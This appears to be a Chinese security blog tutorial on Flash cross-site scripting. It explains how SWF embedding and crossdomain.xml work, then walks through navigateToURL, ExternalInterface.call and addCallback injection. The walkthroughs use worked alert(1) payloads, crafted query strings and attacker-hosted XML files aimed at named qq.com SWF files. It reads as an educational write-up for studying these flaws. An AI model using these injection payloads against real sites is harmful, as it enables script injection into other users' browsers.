常见Flash XSS详细讲解
in 安全技巧 with 0 comment

常见Flash XSS详细讲解

in 安全技巧 with 0 comment

在ie和非ie的html中嵌入flash的方式不同
毕竟ie用的人少,在这里我们讲一下非ie下嵌入flash的方式
两种:

<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>

在插入的falsh里有两个极其重要的参数,allowScriptAccessallowNetworking两个参数:
这两个参数的讲解如下:
allowScriptAccess:控制html页面与Flash页面的通讯。
always:html和Flash页面的通讯不做任何的限制;
samedomain:html和Flash同域的时候可以做通讯【这个值是默认值】;
never:html和Flash禁止通讯。

allowNetworking:控制Flash与外部的网络通讯。
all:Flash所有的网络API通讯接口都可用;
internal:navigateToURL,fscommand,ExternalInterface.call不可用;
none:所有的网络API不可用。

这两个参数主要是用来控制flash的引用。

讲完flash的基本利用方式之后我们看一下flash的跨域请求。
Flash跨域访问的时候主要受到crossdomain.xml文件的影响。
crossdomain.xml文件严格遵循xml语法,主要作用就是当被Flash请求到本域资源的时候,是否允许请求。
例如: www.evil.com中嵌入一个Flash,Flash跨域请求www.q.com下的资源,
此时会先查看www.q.com目录下的crossdomain.xml文件,
查看是否允许evil.com域Flash请求本域的资源。
crossdomain.xml文件主要包含如下几个节点:

  • site-control
  • allow-access-from
  • allow-access-from-identity
  • allow-http-request-headers-from

其中最最最常用的是allow-access-from,用来指明允许本域资源允许被哪些域名的Flash跨域请求,
例如一个crossdomain.xml的文件:

<cross-domain-policy>
<allow-access-from domain="*.youku.com"/> //允许youku.com域名的Flash访问
<allow-access-from domain="*.ykimg.com"/>
<allow-access-from domain="*.tudou.com"/>
<allow-access-from domain="*.tudouui.com"/>
<allow-access-from domain="*.tdimg.com"/>
</cross-domain-policy>

提一句:crossdomain.xml常常被用到flash csrf中,如果是这样

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

那么这个就是允许所有域访问这个网站的资源,有flash csrf的风险

啰嗦了这么多,我们进入正题:

0x01 Flash缺陷参数-navigateToURL

Flash提供相关的函数,可以执行js代码,
getURL【AS2中支持】,navigateToURL【AS3中支持】,ExternalInterface.call
其中getURL和navigateToURL是一样的,只是版本不同,我们直接来看navigateToURL
我们结合wooyun上的案例来讲,我们看到这个flash
http://imgcache.qq.com/liveportal_v1/swf/carousel.swf?v=20101111&dp=http://v.qq.com/doco/pic.xml
我们应该可以猜到,这个flash是调用了http://v.qq.com/doco/pic.xml这个xml的文件
我们来看看这个xml文件

QQ20170520-212016@2x.png
这里我们可以看到,我们点击图片的时候应该是跳到标签中的地址
然而,在flash中要实现跳转到另一个地址一般是这样的
//as3.0版本 navigateToURL(new URLRequest(link), "_self");
//as2.0版本 getURL(link,"_self");

其中link就是我们要跳转过去的地址,
试想一下,如果link是javascript:alert(1),
那么这个flash就执行了这个js,接下来我们反编译一下这个flash文件,我们定位到link的代码
图片2.png
可以看到,当点击图片时,直接将数据里的link作为参数传递到了 URLRequest中。
既然如此,我们把http://v.qq.com/doco/pic.xml改一下,
图片3.png
然后我们上传到自己的服务器中,这样一来, 腾讯的http://imgcache.qq.com/liveportal_v1/swf/carousel.swf
就会跨域加载我们的 http://itsokla.duapp.com/pic.xml 文件。
刚刚我们讲过,既然是跨域,就牵扯到crossdomain.xml这个文件
我们要qq.com的flash文件访问到我们网站下的swf,那么我们把这个文件这样写:

<cross-domain-policy>
<allow-access-from domain="*.qq.com"/>
</cross-domain-policy>

最后我们看看效果,点击图片触发
图片4.png

0x02 Flash缺陷参数-ExternalInterface.call第一个参数

首先讲下ExternalInterface.call这个函数
ExternalInterface.call("alert","1");这一句执行alert(1)
我们就知道了第一个参数是函数名
第二个参数是传往函数的数据
这样写只是规定了一个函数,未必太死板了,一般的会这样写

var func:String=root.loaderInfo.parameters.func; //接受FLASH所带的func参数
ExternalInterface.call(func,"1");

这样一来,其他想用这个FLASH的人,不需要修改FLASH,只需要调用FLASH的时候带上参数即可。
比如我的JS函数是newalert, 我只需要按照下面这么调用:
http://some.com/xxx.swf?func=newalert
不过这样,我们就有机可乘了,如果我们提交
http://some.com/xxx.swf?func=(function(){alert("hi jack")})
这就执行了攻击者的函数.
ExternalInterface.call("函数名","参数1");在flash中最后实际执行的js代码是
js try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }
很重要很重要很重要,说三遍。

好了我们来看实例:
http://quan.qq.com/swf/swfupload.swf
我们反编译这个swf文件,这是个as3的脚本,as3.0 接受参数的方法
所有参数存放在 root.loaderInfo.parameters 对象里。
例如 aaa.swf?a=1&b=2&c=3,那么 root.loaderInfo.parameters 则等于

{
"a":1,
"b":2,
"c":3
}

我们可以先搜索loaderInfo,定位到了movieName变量
图片5.png
可以看出,FLASH的movieName参数,存放到了this.movieName中。
进一步, this.movieName被带入了到了this.flashReady_Callback及其它变量。
图片6.png
我们再进一步看看,this.flashReady_Callback 被用到了哪里。
图片7.png
再接着看看调用 this.flashReady_Callback 的Simple函数是啥样子的。
图片8.png
可以看到,最终这个参数被放到 ExternalInterface.call 的第一个参数中执行了。
也就是说我们提交
http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaa
最终调用的是ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady');
我们最多构造成这样

ExternalInterface.call('SWFUpload.instances["aaa"];function SWFUpload(){};SWFUpload["aaa"].flashReady');

但是因为SWFUpload.instances["aaa"]没有被定义,所以这个function并不能被执行,怎么办,
我们想到刚刚我们说的中重要的事儿
我们提交aaaa最后执行的js是

try { __flash__toXML(SWFUpload.instances["aaaaaaaa"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }

既然SWFUpload.instances["aaa"]没有被定义,也就是会出错,然后跳到catch中去,那我们构造

try { __flash__toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }

也就是我们提交
http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};//
这样就能成功执行我们的js代码了
图片9.png

0x03 Flash缺陷参数-ExternalInterface.call第二个参数

有了刚才的基础,这个就好讲很多了,我们直接看
http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml
我们可以看看http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml
里面是什么内容
图片10.png
我们反编译这个flash,然后找一下看看是否有getURL,ExternalInterface.call
图片11.png
看到这一句

flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href);

其中第一个参数被定死了,是custom_menu_swf
第二个参数貌似是可控的,我们可以看出来它应该是一个数组,然后取里面的href
跟我们刚刚的是不是特别符合
图片12.png
我们来试一试,跟刚刚一样,把这个xml文件修改,放到我们自己的网站下
修改:html <menu name="日 志" href="\&quot;,alert(1)" />
然后我们用firefox打开,捕获异常
图片13.png
看到这里其实基本上如何构造代码就已经明确了
首先第二个参数是经过过滤的,被替换成\”,但是它没替换\,我们提交\”会被替换成\\”,其中第一个\把第二个\给转义掉了,我们的就起作用了,那么我们来构造参数
aaa\&quot;))catch(e){alert(1);}//
这样就能执行我们的代码了吧,
我们就这样来修改xml
html <menu name="日 志" href="aaa\&quot;))}catch(e){alert(1)}//" />
我们然后打开链接
http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml
点击日志
图片14.png

0x04 Flash缺陷参数--addCallback

根据flash sdk 里的源代码,我们可以得到flash addcallback 的源代码中有以下代码。

if ((((activeX == true)) && (!((objectID == null))))){

    _evalJS((((("__flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));

};

其中objectID为调用FLASH的HTML标签的ID。
functionName则为被JS所调用的函数名称。当代码如下时:
<object id="aaaa" ......>
objectID="aaaa";带入上面的js中
js __flash__addCallback(document.getElementById("aaaa"), "myfunc");
如果我们提交的id等于aaaa"),alert(1),("这个时候,上面的js就变成
js __flash__addCallback(document.getElementById("aaaa"),alert(1),(""), "myfunc");
这样就执行了我们自己的js代码
其实flash xss的方法还有很多,暂时对这些做总结
最后附上一个自己挖发新浪Flash xss实例
新浪flash xss.pdf

Comments are closed.